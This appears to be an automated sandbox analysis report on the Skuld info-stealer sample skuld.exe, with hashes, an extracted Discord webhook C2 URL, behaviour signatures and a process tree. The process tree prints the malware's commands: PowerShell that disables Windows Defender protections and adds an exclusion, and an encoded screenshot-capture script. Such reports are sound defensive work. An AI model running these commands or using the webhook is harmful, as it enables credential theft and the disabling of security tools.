Analysis

  • max time kernel
    58s
  • max time network
    34s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    17-10-2024 02:46

General

  • Target

    skuld.exe

  • Size

    9.8MB

  • MD5

    cc083ccbe636d022ed83b27c1c569767

  • SHA1

    c596d1940c91b0816bb84b3f366b9e71bbf62f66

  • SHA256

    4a86f85c1cfce3f5ea4a73e3a85ff05a47c31eee569af83742e1b1f630a1021d

  • SHA512

    9b994eff39008184bc370d00197213980c55fb19c214d68368f4d549f161ae589377c6c8d56a5f3831d91425c64ca345d16cb0fd3e4d6d6fc6073573fab8eef7

  • SSDEEP

    98304:Urfdlz4MwXCwWmLHfM1EOrZcsHEwscBJZrZ6eFmBQbQcR:Ur34MwRE1EOrqskMhFmBQp

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1296302322007146567/s26FESYbNgv6dHTRzvf3V4yWoNeWLchott0cNcCquKmuP8BVU-cT-pNPgpIqbVY4_0uW

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3648
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:4164
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1508
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:4708
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:1808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:972
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mc1qdxqy\mc1qdxqy.cmdline"
        3⤵
          PID:2256
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:756
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:4912

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      627073ee3ca9676911bee35548eff2b8

      SHA1

      4c4b68c65e2cab9864b51167d710aa29ebdcff2e

      SHA256

      85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

      SHA512

      3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      1a9fa92a4f2e2ec9e244d43a6a4f8fb9

      SHA1

      9910190edfaccece1dfcc1d92e357772f5dae8f7

      SHA256

      0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

      SHA512

      5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      4a7f03a7ad1cae046d8ceac04256e5ae

      SHA1

      ef0bf767c91cba32b33c0b48f74f5eb153ae43d3

      SHA256

      e8aa3162f519e3670b0fc79dfbeeca68ea2b65a17900cf3aafc6a48de3296d60

      SHA512

      382a91848be121734bce9f533bcb4747e5f21db5b1ea5dfc8cc567005f5be0f1dcc73a55516b83feb931cdc90601ed4d36fb890687f08e1056ff98da2365f01d

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0tpji0fs.0zq.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

      Filesize

      9.8MB

      MD5

      cc083ccbe636d022ed83b27c1c569767

      SHA1

      c596d1940c91b0816bb84b3f366b9e71bbf62f66

      SHA256

      4a86f85c1cfce3f5ea4a73e3a85ff05a47c31eee569af83742e1b1f630a1021d

      SHA512

      9b994eff39008184bc370d00197213980c55fb19c214d68368f4d549f161ae589377c6c8d56a5f3831d91425c64ca345d16cb0fd3e4d6d6fc6073573fab8eef7

    • C:\Windows\System32\drivers\etc\hosts

      Filesize

      2KB

      MD5

      6e2386469072b80f18d5722d07afdc0b

      SHA1

      032d13e364833d7276fcab8a5b2759e79182880f

      SHA256

      ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

      SHA512

      e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

    • \??\c:\Users\Admin\AppData\Local\Temp\mc1qdxqy\mc1qdxqy.0.cs

      Filesize

      989B

      MD5

      e05565544d17d446f3e0532be5cb77db

      SHA1

      c931aa2ac27c293d36505523b198844d4d8a3524

      SHA256

      05f2a75e88e7ba4622f80a8b22ee83bae77de6853eb95c3e43f269e32d261509

      SHA512

      046970d59cd2a0321d45d23122e4cfa3cc460cee399183efc583a5abfcf51eb76488ac87cce4ff2bad2ab54d417231473556f50866adcab6787995dbbb04c68d

    • \??\c:\Users\Admin\AppData\Local\Temp\mc1qdxqy\mc1qdxqy.cmdline

      Filesize

      607B

      MD5

      b065c4c76d297cef695615473ebf3ad8

      SHA1

      280d87a016334e449bf1709c893f5d0f31751341

      SHA256

      2a38f2a39551b69015e094107cb7785fef276c32f0199938ba2e0494e2521443

      SHA512

      9f03fb994b96290d42bdcaf36ee1fc13c3bd17ae8987d8f2de13b76953f8df4943b3df34326c65e17af97ba4f44daac85280f3a55fb8705bc12f2be8480057af

    • memory/1508-16-0x00007FFD92770000-0x00007FFD93232000-memory.dmp

      Filesize

      10.8MB

    • memory/1508-1-0x00007FFD92773000-0x00007FFD92775000-memory.dmp

      Filesize

      8KB

    • memory/1508-22-0x00007FFD92770000-0x00007FFD93232000-memory.dmp

      Filesize

      10.8MB

    • memory/1508-15-0x00007FFD92770000-0x00007FFD93232000-memory.dmp

      Filesize

      10.8MB

    • memory/1508-14-0x00007FFD92770000-0x00007FFD93232000-memory.dmp

      Filesize

      10.8MB

    • memory/1508-10-0x000001C47DFC0000-0x000001C47DFE2000-memory.dmp

      Filesize

      136KB